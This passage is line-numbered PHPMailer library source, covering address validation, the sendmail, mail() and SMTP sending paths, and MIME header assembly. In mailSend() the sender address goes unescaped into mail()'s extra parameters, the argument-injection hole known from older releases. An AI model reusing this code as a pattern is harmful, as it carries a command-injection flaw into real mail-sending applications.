  2097. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  2098. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  2099. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  2100. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  2101. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  2102. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  2103. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  2104. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  2105. $address
  2106. );
  2107. case 'html5':
  2108. /**
  2109. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  2110. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  2111. */
  2112. return (boolean)preg_match(
  2113. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  2114. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  2115. $address
  2116. );
  2117. case 'noregex':
  2118. //No PCRE! Do something _very_ approximate!
  2119. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  2120. return (strlen($address) >= 3
  2121. and strpos($address, '@') >= 1
  2122. and strpos($address, '@') != strlen($address) - 1);
  2123. case 'php':
  2124. default:
  2125. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  2126. }
  2127. }
  2128.  
  2129. /**
  2130. * Create a message and send it.
  2131. * Uses the sending method specified by $Mailer.
  2132. * @throws phpmailerException
  2133. * @return boolean false on error - See the ErrorInfo property for details of the error.
  2134. */
  2135. public function send()
  2136. {
  2137. try {
  2138. if (!$this->preSend()) {
  2139. return false;
  2140. }
  2141. return $this->postSend();
  2142. } catch (phpmailerException $exc) {
  2143. $this->mailHeader = '';
  2144. $this->setError($exc->getMessage());
  2145. if ($this->exceptions) {
  2146. throw $exc;
  2147. }
  2148. return false;
  2149. }
  2150. }
  2151.  
  2152. /**
  2153. * Prepare a message for sending.
  2154. * @throws phpmailerException
  2155. * @return boolean
  2156. */
  2157. public function preSend()
  2158. {
  2159. try {
  2160. $this->mailHeader = '';
  2161. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  2162. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  2163. }
  2164.  
  2165. // Set whether the message is multipart/alternative
  2166. if (!empty($this->AltBody)) {
  2167. $this->ContentType = 'multipart/alternative';
  2168. }
  2169.  
  2170. $this->error_count = 0; // Reset errors
  2171. $this->setMessageType();
  2172. // Refuse to send an empty message unless we are specifically allowing it
  2173. if (!$this->AllowEmpty and empty($this->Body)) {
  2174. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  2175. }
  2176.  
  2177. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  2178. $this->MIMEHeader = '';
  2179. $this->MIMEBody = $this->createBody();
  2180. // createBody may have added some headers, so retain them
  2181. $tempheaders = $this->MIMEHeader;
  2182. $this->MIMEHeader = $this->createHeader();
  2183. $this->MIMEHeader .= $tempheaders;
  2184.  
  2185. // To capture the complete message when using mail(), create
  2186. // an extra header list which createHeader() doesn't fold in
  2187. if ($this->Mailer == 'mail') {
  2188. if (count($this->to) > 0) {
  2189. $this->mailHeader .= $this->addrAppend('To', $this->to);
  2190. } else {
  2191. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  2192. }
  2193. $this->mailHeader .= $this->headerLine(
  2194. 'Subject',
  2195. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  2196. );
  2197. }
  2198.  
  2199. // Sign with DKIM if enabled
  2200. if (!empty($this->DKIM_domain)
  2201. && !empty($this->DKIM_private)
  2202. && !empty($this->DKIM_selector)
  2203. && file_exists($this->DKIM_private)) {
  2204. $header_dkim = $this->DKIM_Add(
  2205. $this->MIMEHeader . $this->mailHeader,
  2206. $this->encodeHeader($this->secureHeader($this->Subject)),
  2207. $this->MIMEBody
  2208. );
  2209. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  2210. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  2211. }
  2212. return true;
  2213. } catch (phpmailerException $exc) {
  2214. $this->setError($exc->getMessage());
  2215. if ($this->exceptions) {
  2216. throw $exc;
  2217. }
  2218. return false;
  2219. }
  2220. }
  2221.  
  2222. /**
  2223. * Actually send a message.
  2224. * Send the email via the selected mechanism
  2225. * @throws phpmailerException
  2226. * @return boolean
  2227. */
  2228. public function postSend()
  2229. {
  2230. try {
  2231. // Choose the mailer and send through it
  2232. switch ($this->Mailer) {
  2233. case 'sendmail':
  2234. case 'qmail':
  2235. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  2236. case 'smtp':
  2237. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  2238. case 'mail':
  2239. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  2240. default:
  2241. $sendMethod = $this->Mailer.'Send';
  2242. if (method_exists($this, $sendMethod)) {
  2243. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  2244. }
  2245.  
  2246. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  2247. }
  2248. } catch (phpmailerException $exc) {
  2249. $this->setError($exc->getMessage());
  2250. $this->edebug($exc->getMessage());
  2251. if ($this->exceptions) {
  2252. throw $exc;
  2253. }
  2254. }
  2255. return false;
  2256. }
  2257.  
  2258. /**
  2259. * Send mail using the $Sendmail program.
  2260. * @param string $header The message headers
  2261. * @param string $body The message body
  2262. * @see PHPMailer::$Sendmail
  2263. * @throws phpmailerException
  2264. * @access protected
  2265. * @return boolean
  2266. */
  2267. protected function sendmailSend($header, $body)
  2268. {
  2269. if ($this->Sender != '') {
  2270. if ($this->Mailer == 'qmail') {
  2271. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  2272. } else {
  2273. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  2274. }
  2275. } else {
  2276. if ($this->Mailer == 'qmail') {
  2277. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  2278. } else {
  2279. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  2280. }
  2281. }
  2282. if ($this->SingleTo) {
  2283. foreach ($this->SingleToArray as $toAddr) {
  2284. if (!@$mail = popen($sendmail, 'w')) {
  2285. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2286. }
  2287. fputs($mail, 'To: ' . $toAddr . "\n");
  2288. fputs($mail, $header);
  2289. fputs($mail, $body);
  2290. $result = pclose($mail);
  2291. $this->doCallback(
  2292. ($result == 0),
  2293. array($toAddr),
  2294. $this->cc,
  2295. $this->bcc,
  2296. $this->Subject,
  2297. $body,
  2298. $this->From
  2299. );
  2300. if ($result != 0) {
  2301. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2302. }
  2303. }
  2304. } else {
  2305. if (!@$mail = popen($sendmail, 'w')) {
  2306. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2307. }
  2308. fputs($mail, $header);
  2309. fputs($mail, $body);
  2310. $result = pclose($mail);
  2311. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  2312. if ($result != 0) {
  2313. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2314. }
  2315. }
  2316. return true;
  2317. }
  2318.  
  2319. /**
  2320. * Send mail using the PHP mail() function.
  2321. * @param string $header The message headers
  2322. * @param string $body The message body
  2323. * @link http://www.php.net/manual/en/book.mail.php
  2324. * @throws phpmailerException
  2325. * @access protected
  2326. * @return boolean
  2327. */
  2328. protected function mailSend($header, $body)
  2329. {
  2330. $toArr = array();
  2331. foreach ($this->to as $toaddr) {
  2332. $toArr[] = $this->addrFormat($toaddr);
  2333. }
  2334. $to = implode(', ', $toArr);
  2335.  
  2336. if (empty($this->Sender)) {
  2337. $params = ' ';
  2338. } else {
  2339. $params = sprintf('-f%s', $this->Sender);
  2340. }
  2341. if ($this->Sender != '' and !ini_get('safe_mode')) {
  2342. $old_from = ini_get('sendmail_from');
  2343. ini_set('sendmail_from', $this->Sender);
  2344. }
  2345. $result = false;
  2346. if ($this->SingleTo && count($toArr) > 1) {
  2347. foreach ($toArr as $toAddr) {
  2348. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  2349. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  2350. }
  2351. } else {
  2352. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  2353. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  2354. }
  2355. if (isset($old_from)) {
  2356. ini_set('sendmail_from', $old_from);
  2357. }
  2358. if (!$result) {
  2359. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  2360. }
  2361. return true;
  2362. }
  2363. /**
  2364. * Get an instance to use for SMTP operations.
  2365. * Override this function to load your own SMTP implementation
  2366. * @return SMTP
  2367. */
  2368. public function getSMTPInstance()
  2369. {
  2370. if (!is_object($this->smtp)) {
  2371. $this->smtp = new SMTP;
  2372. }
  2373. return $this->smtp;
  2374. }
  2375.  
  2376. protected function smtpSend($header, $body)
  2377. {
  2378. $bad_rcpt = array();
  2379. if (!$this->smtpConnect($this->SMTPOptions)) {
  2380. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  2381. }
  2382. if ('' == $this->Sender) {
  2383. $smtp_from = $this->From;
  2384. } else {
  2385. $smtp_from = $this->Sender;
  2386. }
  2387. if (!$this->smtp->mail($smtp_from)) {
  2388. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  2389. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  2390. }
  2391.  
  2392. // Attempt to send to all recipients
  2393. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  2394. foreach ($togroup as $to) {
  2395. if (!$this->smtp->recipient($to[0])) {
  2396. $error = $this->smtp->getError();
  2397. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  2398. $isSent = false;
  2399. } else {
  2400. $isSent = true;
  2401. }
  2402. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  2403. }
  2404. }
  2405.  
  2406. // Only send the DATA command if we have viable recipients
  2407. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  2408. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  2409. }
  2410. if ($this->SMTPKeepAlive) {
  2411. $this->smtp->reset();
  2412. } else {
  2413. $this->smtp->quit();
  2414. $this->smtp->close();
  2415. }
  2416. //Create error message for any bad addresses
  2417. if (count($bad_rcpt) > 0) {
  2418. $errstr = '';
  2419. foreach ($bad_rcpt as $bad) {
  2420. $errstr .= $bad['to'] . ': ' . $bad['error'];
  2421. }
  2422. throw new phpmailerException(
  2423. $this->lang('recipients_failed') . $errstr,
  2424. self::STOP_CONTINUE
  2425. );
  2426. }
  2427. return true;
  2428. }
  2429.  
  2430. /**
  2431. * Initiate a connection to an SMTP server.
  2432. * Returns false if the operation failed.
  2433. * @param array $options An array of options compatible with stream_context_create()
  2434. * @uses SMTP
  2435. * @access public
  2436. * @throws phpmailerException
  2437. * @return boolean
  2438. */
  2439. public function smtpConnect($options = array())
  2440. {
  2441. if (is_null($this->smtp)) {
  2442. $this->smtp = $this->getSMTPInstance();
  2443. }
  2444.  
  2445. // Already connected?
  2446. if ($this->smtp->connected()) {
  2447. return true;
  2448. }
  2449.  
  2450. $this->smtp->setTimeout($this->Timeout);
  2451. $this->smtp->setDebugLevel($this->SMTPDebug);
  2452. $this->smtp->setDebugOutput($this->Debugoutput);
  2453. $this->smtp->setVerp($this->do_verp);
  2454. $hosts = explode(';', $this->Host);
  2455. $lastexception = null;
  2456.  
  2457. foreach ($hosts as $hostentry) {
  2458. $hostinfo = array();
  2459. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  2460. // Not a valid host entry
  2461. continue;
  2462. }
  2463. // $hostinfo[2]: optional ssl or tls prefix
  2464. // $hostinfo[3]: the hostname
  2465. // $hostinfo[4]: optional port number
  2466. // The host string prefix can temporarily override the current setting for SMTPSecure
  2467. // If it's not specified, the default value is used
  2468. $prefix = '';
  2469. $secure = $this->SMTPSecure;
  2470. $tls = ($this->SMTPSecure == 'tls');
  2471. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  2472. $prefix = 'ssl://';
  2473. $tls = false; // Can't have SSL and TLS at the same time
  2474. $secure = 'ssl';
  2475. } elseif ($hostinfo[2] == 'tls') {
  2476. $tls = true;
  2477. // tls doesn't use a prefix
  2478. $secure = 'tls';
  2479. }
  2480. //Do we need the OpenSSL extension?
  2481. $sslext = defined('OPENSSL_ALGO_SHA1');
  2482. if ('tls' === $secure or 'ssl' === $secure) {
  2483. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  2484. if (!$sslext) {
  2485. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  2486. }
  2487. }
  2488. $host = $hostinfo[3];
  2489. $port = $this->Port;
  2490. $tport = (integer)$hostinfo[4];
  2491. if ($tport > 0 and $tport < 65536) {
  2492. $port = $tport;
  2493. }
  2494. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  2495. try {
  2496. if ($this->Helo) {
  2497. $hello = $this->Helo;
  2498. } else {
  2499. $hello = $this->serverHostname();
  2500. }
  2501. $this->smtp->hello($hello);
  2502. //Automatically enable TLS encryption if:
  2503. // * it's not disabled
  2504. // * we have openssl extension
  2505. // * we are not already using SSL
  2506. // * the server offers STARTTLS
  2507. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  2508. $tls = true;
  2509. }
  2510. if ($tls) {
  2511. if (!$this->smtp->startTLS()) {
  2512. throw new phpmailerException($this->lang('connect_host'));
  2513. }
  2514. // We must resend HELO after tls negotiation
  2515. $this->smtp->hello($hello);
  2516. }
  2517. if ($this->SMTPAuth) {
  2518. if (!$this->smtp->authenticate(
  2519. $this->Username,
  2520. $this->Password,
  2521. $this->AuthType,
  2522. $this->Realm,
  2523. $this->Workstation
  2524. )
  2525. ) {
  2526. throw new phpmailerException($this->lang('authenticate'));
  2527. }
  2528. }
  2529. return true;
  2530. } catch (phpmailerException $exc) {
  2531. $lastexception = $exc;
  2532. $this->edebug($exc->getMessage());
  2533. // We must have connected, but then failed TLS or Auth, so close connection nicely
  2534. $this->smtp->quit();
  2535. }
  2536. }
  2537. }
  2538. // If we get here, all connection attempts have failed, so close connection hard
  2539. $this->smtp->close();
  2540. // As we've caught all exceptions, just report whatever the last one was
  2541. if ($this->exceptions and !is_null($lastexception)) {
  2542. throw $lastexception;
  2543. }
  2544. return false;
  2545. }
  2546.  
  2547. /**
  2548. * Close the active SMTP session if one exists.
  2549. * @return void
  2550. */
  2551. public function smtpClose()
  2552. {
  2553. if ($this->smtp !== null) {
  2554. if ($this->smtp->connected()) {
  2555. $this->smtp->quit();
  2556. $this->smtp->close();
  2557. }
  2558. }
  2559. }
  2560.  
  2561. /**
  2562. * Set the language for error messages.
  2563. * Returns false if it cannot load the language file.
  2564. * The default language is English.
  2565. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  2566. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  2567. * @return boolean
  2568. * @access public
  2569. */
  2570. public function setLanguage($langcode = 'en', $lang_path = '')
  2571. {
  2572. // Define full set of translatable strings in English
  2573. $PHPMAILER_LANG = array(
  2574. 'authenticate' => 'SMTP Error: Could not authenticate.',
  2575. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  2576. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  2577. 'empty_message' => 'Message body empty',
  2578. 'encoding' => 'Unknown encoding: ',
  2579. 'execute' => 'Could not execute: ',
  2580. 'file_access' => 'Could not access file: ',
  2581. 'file_open' => 'File Error: Could not open file: ',
  2582. 'from_failed' => 'The following From address failed: ',
  2583. 'instantiate' => 'Could not instantiate mail function.',
  2584. 'invalid_address' => 'Invalid address',
  2585. 'mailer_not_supported' => ' mailer is not supported.',
  2586. 'provide_address' => 'You must provide at least one recipient email address.',
  2587. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  2588. 'signing' => 'Signing Error: ',
  2589. 'smtp_connect_failed' => 'SMTP connect() failed.',
  2590. 'smtp_error' => 'SMTP server error: ',
  2591. 'variable_set' => 'Cannot set or reset variable: ',
  2592. 'extension_missing' => 'Extension missing: '
  2593. );
  2594. if (empty($lang_path)) {
  2595. // Calculate an absolute path so it can work if CWD is not here
  2596. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  2597. }
  2598. $foundlang = true;
  2599. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  2600. // There is no English translation file
  2601. if ($langcode != 'en') {
  2602. // Make sure language file path is readable
  2603. if (!is_readable($lang_file)) {
  2604. $foundlang = false;
  2605. } else {
  2606. // Overwrite language-specific strings.
  2607. // This way we'll never have missing translation keys.
  2608. $foundlang = include $lang_file;
  2609. }
  2610. }
  2611. $this->language = $PHPMAILER_LANG;
  2612. return (boolean)$foundlang; // Returns false if language not found
  2613. }
  2614.  
  2615. /**
  2616. * Get the array of strings for the current language.
  2617. * @return array
  2618. */
  2619. public function getTranslations()
  2620. {
  2621. return $this->language;
  2622. }
  2623.  
  2624. /**
  2625. * Create recipient headers.
  2626. * @access public
  2627. * @param string $type
  2628. * @param array $addr An array of recipient,
  2629. * where each recipient is a 2-element indexed array with element 0 containing an address
  2630. * and element 1 containing a name, like:
  2631. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  2632. * @return string
  2633. */
  2634. public function addrAppend($type, $addr)
  2635. {
  2636. $addresses = array();
  2637. foreach ($addr as $address) {
  2638. $addresses[] = $this->addrFormat($address);
  2639. }
  2640. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  2641. }
  2642.  
  2643. /**
  2644. * Format an address for use in a message header.
  2645. * @access public
  2646. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  2647. * like array('joe@example.com', 'Joe User')
  2648. * @return string
  2649. */
  2650. public function addrFormat($addr)
  2651. {
  2652. if (empty($addr[1])) { // No name provided
  2653. return $this->secureHeader($addr[0]);
  2654. } else {
  2655. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  2656. $addr[0]
  2657. ) . '>';
  2658. }
  2659. }
  2660.  
  2661. /**
  2662. * Word-wrap message.
  2663. * For use with mailers that do not automatically perform wrapping
  2664. * and for quoted-printable encoded messages.
  2665. * Original written by philippe.
  2666. * @param string $message The message to wrap
  2667. * @param integer $length The line length to wrap to
  2668. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  2669. * @access public
  2670. * @return string
  2671. */
  2672. public function wrapText($message, $length, $qp_mode = false)
  2673. {
  2674. if ($qp_mode) {
  2675. $soft_break = sprintf(' =%s', $this->LE);
  2676. } else {
  2677. $soft_break = $this->LE;
  2678. }
  2679. // If utf-8 encoding is used, we will need to make sure we don't
  2680. // split multibyte characters when we wrap
  2681. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  2682. $lelen = strlen($this->LE);
  2683. $crlflen = strlen(self::CRLF);
  2684.  
  2685. $message = $this->fixEOL($message);
  2686. //Remove a trailing line break
  2687. if (substr($message, -$lelen) == $this->LE) {
  2688. $message = substr($message, 0, -$lelen);
  2689. }
  2690.  
  2691. //Split message into lines
  2692. $lines = explode($this->LE, $message);
  2693. //Message will be rebuilt in here
  2694. $message = '';
  2695. foreach ($lines as $line) {
  2696. $words = explode(' ', $line);
  2697. $buf = '';
  2698. $firstword = true;
  2699. foreach ($words as $word) {
  2700. if ($qp_mode and (strlen($word) > $length)) {
  2701. $space_left = $length - strlen($buf) - $crlflen;
  2702. if (!$firstword) {
  2703. if ($space_left > 20) {
  2704. $len = $space_left;
  2705. if ($is_utf8) {
  2706. $len = $this->utf8CharBoundary($word, $len);
  2707. } elseif (substr($word, $len - 1, 1) == '=') {
  2708. $len--;
  2709. } elseif (substr($word, $len - 2, 1) == '=') {
  2710. $len -= 2;
  2711. }
  2712. $part = substr($word, 0, $len);
  2713. $word = substr($word, $len);
  2714. $buf .= ' ' . $part;
  2715. $message .= $buf . sprintf('=%s', self::CRLF);
  2716. } else {
  2717. $message .= $buf . $soft_break;
  2718. }
  2719. $buf = '';
  2720. }
  2721. while (strlen($word) > 0) {
  2722. if ($length <= 0) {
  2723. break;
  2724. }
  2725. $len = $length;
  2726. if ($is_utf8) {
  2727. $len = $this->utf8CharBoundary($word, $len);
  2728. } elseif (substr($word, $len - 1, 1) == '=') {
  2729. $len--;
  2730. } elseif (substr($word, $len - 2, 1) == '=') {
  2731. $len -= 2;
  2732. }
  2733. $part = substr($word, 0, $len);
  2734. $word = substr($word, $len);
  2735.  
  2736. if (strlen($word) > 0) {
  2737. $message .= $part . sprintf('=%s', self::CRLF);
  2738. } else {
  2739. $buf = $part;
  2740. }
  2741. }
  2742. } else {
  2743. $buf_o = $buf;
  2744. if (!$firstword) {
  2745. $buf .= ' ';
  2746. }
  2747. $buf .= $word;
  2748.  
  2749. if (strlen($buf) > $length and $buf_o != '') {
  2750. $message .= $buf_o . $soft_break;
  2751. $buf = $word;
  2752. }
  2753. }
  2754. $firstword = false;
  2755. }
  2756. $message .= $buf . self::CRLF;
  2757. }
  2758.  
  2759. return $message;
  2760. }
  2761.  
  2762. /**
  2763. * Find the last character boundary prior to $maxLength in a utf-8
  2764. * quoted-printable encoded string.
  2765. * Original written by Colin Brown.
  2766. * @access public
  2767. * @param string $encodedText utf-8 QP text
  2768. * @param integer $maxLength Find the last character boundary prior to this length
  2769. * @return integer
  2770. */
  2771. public function utf8CharBoundary($encodedText, $maxLength)
  2772. {
  2773. $foundSplitPos = false;
  2774. $lookBack = 3;
  2775. while (!$foundSplitPos) {
  2776. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2777. $encodedCharPos = strpos($lastChunk, '=');
  2778. if (false !== $encodedCharPos) {
  2779. // Found start of encoded character byte within $lookBack block.
  2780. // Check the encoded byte value (the 2 chars after the '=')
  2781. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2782. $dec = hexdec($hex);
  2783. if ($dec < 128) {
  2784. // Single byte character.
  2785. // If the encoded char was found at pos 0, it will fit
  2786. // otherwise reduce maxLength to start of the encoded char
  2787. if ($encodedCharPos > 0) {
  2788. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2789. }
  2790. $foundSplitPos = true;
  2791. } elseif ($dec >= 192) {
  2792. // First byte of a multi byte character
  2793. // Reduce maxLength to split at start of character
  2794. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2795. $foundSplitPos = true;
  2796. } elseif ($dec < 192) {
  2797. // Middle byte of a multi byte character, look further back
  2798. $lookBack += 3;
  2799. }
  2800. } else {
  2801. // No encoded character found
  2802. $foundSplitPos = true;
  2803. }
  2804. }
  2805. return $maxLength;
  2806. }
  2807.  
  2808. /**
  2809. * Apply word wrapping to the message body.
  2810. * Wraps the message body to the number of chars set in the WordWrap property.
  2811. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  2812. * This is called automatically by createBody(), so you don't need to call it yourself.
  2813. * @access public
  2814. * @return void
  2815. */
  2816. public function setWordWrap()
  2817. {
  2818. if ($this->WordWrap < 1) {
  2819. return;
  2820. }
  2821.  
  2822. switch ($this->message_type) {
  2823. case 'alt':
  2824. case 'alt_inline':
  2825. case 'alt_attach':
  2826. case 'alt_inline_attach':
  2827. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  2828. break;
  2829. default:
  2830. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2831. break;
  2832. }
  2833. }
  2834.  
  2835. /**
  2836. * Assemble message headers.
  2837. * @access public
  2838. * @return string The assembled headers
  2839. */
  2840. public function createHeader()
  2841. {
  2842. $result = '';
  2843.  
  2844. if ($this->MessageDate == '') {
  2845. $this->MessageDate = self::rfcDate();
  2846. }
  2847. $result .= $this->headerLine('Date', $this->MessageDate);
  2848.  
  2849.  
  2850. // To be created automatically by mail()
  2851. if ($this->SingleTo) {
  2852. if ($this->Mailer != 'mail') {
  2853. foreach ($this->to as $toaddr) {
  2854. $this->SingleToArray[] = $this->addrFormat($toaddr);
  2855. }
  2856. }
  2857. } else {
  2858. if (count($this->to) > 0) {
  2859. if ($this->Mailer != 'mail') {
  2860. $result .= $this->addrAppend('To', $this->to);
  2861. }
  2862. } elseif (count($this->cc) == 0) {
  2863. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2864. }
  2865. }
  2866.  
  2867. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2868.  
  2869. // sendmail and mail() extract Cc from the header before sending
  2870. if (count($this->cc) > 0) {
  2871. $result .= $this->addrAppend('Cc', $this->cc);
  2872. }
  2873.  
  2874. // sendmail and mail() extract Bcc from the header before sending
  2875. if ((
  2876. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2877. )
  2878. and count($this->bcc) > 0
  2879. ) {
  2880. $result .= $this->addrAppend('Bcc', $this->bcc);
  2881. }
  2882.  
  2883. if (count($this->ReplyTo) > 0) {
  2884. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2885. }
  2886.  
  2887. // mail() sets the subject itself
  2888. if ($this->Mailer != 'mail') {
  2889. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2890. }
  2891.  
  2892. if ($this->MessageID != '') {
  2893. $this->lastMessageID = $this->MessageID;
  2894. } else {
  2895. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->ServerHostname());
  2896. }
  2897. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2898. $result .= $this->headerLine('X-Priority', $this->Priority);
  2899. if ($this->XMailer == '') {
  2900. $result .= $this->headerLine(
  2901. 'X-Mailer',
  2902. 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
  2903. );
  2904. } else {
  2905. $myXmailer = trim($this->XMailer);
  2906. if ($myXmailer) {
  2907. $result .= $this->headerLine('X-Mailer', $myXmailer);
  2908. }
  2909. }
  2910.  
  2911. if ($this->ConfirmReadingTo != '') {
  2912. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2913. }
  2914.  
  2915. // Add custom headers
  2916. foreach ($this->CustomHeader as $header) {
  2917. $result .= $this->headerLine(
  2918. trim($header[0]),
  2919. $this->encodeHeader(trim($header[1]))
  2920. );
  2921. }
  2922. if (!$this->sign_key_file) {
  2923. $result .= $this->headerLine('MIME-Version', '1.0');
  2924. $result .= $this->getMailMIME();
  2925. }
  2926.  
  2927. return $result;
  2928. }
  2929.  
  2930. /**
  2931. * Get the message MIME type headers.
  2932. * @access public
  2933. * @return string
  2934. */
  2935. public function getMailMIME()
  2936. {
  2937. $result = '';
  2938. $ismultipart = true;
  2939. switch ($this->message_type) {
  2940. case 'inline':
  2941. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2942. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2943. break;
  2944. case 'attach':
  2945. case 'inline_attach':
  2946. case 'alt_attach':
  2947. case 'alt_inline_attach':
  2948. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2949. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2950. break;
  2951. case 'alt':
  2952. case 'alt_inline':
  2953. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2954. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2955. break;
  2956. default:
  2957. // Catches case 'plain': and case '':
  2958. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2959. $ismultipart = false;
  2960. break;
  2961. }
  2962. // RFC1341 part 5 says 7bit is assumed if not specified
  2963. if ($this->Encoding != '7bit') {
  2964. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2965. if ($ismultipart) {
  2966. if ($this->Encoding == '8bit') {
